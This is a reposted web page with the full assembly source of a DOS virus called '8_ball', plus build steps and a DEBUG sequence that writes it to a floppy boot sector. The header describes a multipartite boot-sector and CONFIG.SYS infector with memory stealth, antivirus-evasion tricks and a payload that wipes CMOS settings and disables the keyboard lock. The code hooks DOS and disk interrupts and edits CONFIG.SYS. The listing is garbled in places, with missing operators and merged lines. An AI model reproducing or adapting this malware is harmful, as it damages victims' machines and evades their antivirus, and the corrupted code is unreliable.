8ball source! ! !

zhaozj2021-02-11  231

Designed by "q" The Misanthrope.

Comment *

8_ball is a multipartite Momentarilly Video Resident C: /Config.sys Infector

That creates randomly named install = programs and is an an hma stealth memory

Resident Floppy Boot Sector Infector. Virus Scanners Will Not Be Able To

Scan for this Virus Because IT Does Not Infect Executable Files. The payload

Is An Anti-Debug Routine That Will Blow The CMOS and Still Go Memory Resident

IT Also Will Disable The Keyboard Key Lock. IT IS AN

Improvement over q_ball. Also Uses The Pklite Header Confuser for TBAV AND

AVP.

EXAMPLE CONFIG.SYS:

Buffers = 17

FILES = 30

Install = aoan.mco

Tasm 8_ball / m2

TLINK 8_BALL

EXE2BIN 8_BALL.EXE 8_BALL.COM

Format A: / Q / U

Debug 8_ball.com

L 300 0 0 1

W 100 0 0 1

W 300 0 20 1

M 11c, 2FE 100

RCX

1e2

w

Qi

*

.286

QSEG segment Byte public 'code'

Assume CS: QSEG, ES: QSEG, SS: NOTHING, DS: qseg

Top: JMP Short Install

DB 90h

DB 'MSDOS5.0'

DW 512

DB 1

DW 1

DB 2

DW 224

DW 2880

DB 0F0H

DW 9

DW 18

DW 2

COM_Install Proc Near

DB "PK"

MOV AX, 3506H

MOV DX, NEXT_PART-COM_INSTALL 0100H

Int 21h

Mov Ah, 25h

Int 21h

DB 08DH, 0D3H

END_IT: PUSH ES

POP DS

Int 21h

INT 20H

COM_INSTALL ENDP

Install Proc Near

Push CS

MOV Si, BX

Push bx

Push CS

CLD

POP DS

MOV ES, BX

CMP Word PTR DS: [0449H], 07H

JE Monochrome

Push 0B800H

POP ES

CMP Word PTR ES: [Si NEGATIVE_1-TOP 01H], -1

Monochrome: Push ES

Push Si

MOV CX, Offset Previous_hook

POP DI

Push Si

PUSH CX

REP MOVSB

POP CX

POP Si

Call return_far

REP MOVSB

MOV Si, 1AH * 04H

JE Already_RES

Movsw

Movsw

MOV Word PTR DS: [Si-02H], CS

Mov Word PTR DS: [Si-04h], Offset First_HOOK 7E00H-02H

Already_res: Push DSPOP ES

RE_GET_BOOT: MOV AX, 0201H

Call set_cx_dx

Return_far: RETF

Install ENDP

Next_part proc near

POP DX

POP DX

MOV DX, BX

Pusha

Negative_1: MOV DI, -1

Push ES

Push DS

MOV AX, 3501H

Int 21h

CMP BYTE PTR ES: [BX], 00H

Org $ -1

Iret

Mov Al, 2EH

JE GO_MEM_RES

OUT 70H, AX

Next_part endp

GO_MEM_RES PROC NEAR

MOV AX, 3540H

Mov Si, 0100H

Int 21h

Mov Word Ptr DS: [Previous_Hook-COM_INSTALL 0100H], BX

Mov Word Ptr DS: [Previous_Hook-COM_INSTALL 0102H], ES

MOV AX, ES

Inc AX

MOV AX, 4A02H

JZ GET_OUT

MOV BX, 0200H

INT 2FH

INC DI

JZ GET_OUT

Lea CX, Word PTR DS: [Si]

Rep Movsw

Push ES

Lea DX, Word PTR DS: [DI Interrupt_40-COM_INSTALL-0200H]

MOV AX, 2540H

POP DS

Int 21h

MOV Al, 60h

OUT 64H, Al

GET_STATUS: IN AL, 64H

Test Al, 02h

LOOPNZ GET_STATUS

MOV Al, 4BH

OUT 60H, Al

GET_OUT: POP DS

POP ES

POPA

POPF

JMP END_IT

GO_MEM_RES ENDP

INSTALL_NAME DB 'INSTALL ='

FILE_NAME DB 'C: /'

DB 00H

Dot EQU $ 3

CRLF EQU $ 7

Config_Line DB "C: /Config.sys", 00

SET_CX_DX PROC NEAR

MOV BP, Word PTR DS: [BX 11h]

SHR BP, 04H

MOV CX, Word PTR DS: [BX 16h]

SHL CX, 01H

Add CX, BP

INC CX

SUB CX, Word PTR DS: [BX 18h]

MOV DH, 01H

INT 40H

Retn

SET_CX_DX ENDP

v_name db "8_ball - = q = -"

Interrupt_21 Proc Near

Pushf

Pusha

Push DS

Push CS

POP DS

CMP AH, 4BH

JE SET_21_BACK

SUB CX, CX

MOV AX, 4301H

MOV DX, OFFSET CONFIG_LINE 7E00H-02H

Int 18h

MOV DL, LOW (Offset file_name 7e00h-02h)

MOV AH, 5ah

JC KEEP_TRYING

Int 18h

MOV BH, 3EH

XCHG AX, BX

Int 18h

Mov Ah, 41H

Int 18h

MOV CL, 05H

MOV AX, 5B2EH

MOV BYTE PTR DS: [DOT 7E00H-02H], Al

Int 18h

MOV BH, 40H

XCHG AX, BX

MOV DX, OFFSET COM_INSTALL 7C00HMOV CH, 02H

Int 18h

Mov Ah, 3EH

Int 18h

MOV DL, LOW (Offset Config_Line 7C00H)

MOV AX, 3D42H

Int 18h

XCHG AX, BX

MOV AX, 4202H

CWD

SUB CX, CX

Int 18h

MOV Word PTR DS: [CRLF 7E00H-02H], 0A0DH

MOV AH, 40H

MOV DX, OFFSET INSTALL_NAME 7E00H-02H

MOV CL, LOW (CRLF-INSTALL_NAME 02H)

Int 18h

Mov Ah, 3EH

Int 18h

SET_21_BACK: LDS DX, DWORD PTR DS: [Previous_hook 7C00H]

MOV AX, 2521H

Int 18h

Keep_Trying: JMP pop_ds_and_all

Interrupt_21 ENDP

Next_line proc near

POP AX

Add Ax, - (Return_Point-COM_INSTALL)

XCHG AX, Si

Push DS

Push ES

POP DS

CMP Word PTR DS: [BX NEGATIVE_1-TOP 01H], -1

JE get_old_bs

MOV AX, 0301H

Pusha

Call set_cx_dx

CLD

MOV CX, Previous_Hook-COM_INSTALL

Lea Di, Word PTR DS: [BX COM_INSTALL-TOP]

Rep Movs Byte PTR ES: [DI], CS: [Si]

Mov Word Ptr DS: [BX], 0000H

Org $ -2

JMP $ (Install-top)

POPA

INT 40H

GET_OLD_BS: PUSH CS

Call Re_get_boot

POP DS

POPA

POPF

Return_far_2: RETF 02H

Next_LINE ENDP

Interrupt_40 Proc Near

CMP CX, 0001H

JNE JNE_FAR_JMP

CMP AH, 02H

JNE JNE_FAR_JMP

CMP DH, CH

JNE_FAR_JMP: JNE FAR_JMP

Pushf

Push CS

Call Far_JMP

JC RETURN_FAR_2

Pushf

Pusha

Call next_LINE

Return_Point Label Byte

Interrupt_40 ENDP

ORG 001C2H

First_HOOK PROC NEAR

Pushf

Pusha

MOV AX, 1200H

Push DS

Push ES

CWD

INT 2FH

INC Al

MOV DS, DX

Mov Si, 21h * 04H

Mov di, offset previous_hook 7C00H

JNZ POP_IT

Les BX, DWORD PTR CS: [Previous_hook 7e00h-02h]

MOV DS: [Si - ((21H-1AH) * 04H) 2], ES

MOV DS: [Si - ((21H-1AH) * 04H)], BX

LES BX, DWORD PTR DS: [Si]

MOV DS: [Si - ((21H-18H) * 04H) 2], ES

Push CS

CLD

MOV DS: [Si - ((21H-18H) * 04H)], BX

POP ES

Movsw

Movsw

Mov Word PTR DS: [Si-04h], Offset Interrupt_21 7C00HMOV WORD PTR DS: [Si-02H], CS

POP_IT: POP ES

POP_DS_AND_ALL: POP DS

POPA

POPF

First_HOOK ENDP

ORG 001FCH

FAR_JMP Proc Near

STI

DB 0eah

Previous_hook: Label Double

FAR_JMP ENDP

Boot_signature dw 0aa55h

QSEG Ends

end

转载请注明原文地址:https://www.9cbs.com/read-4635.html

New Post(0)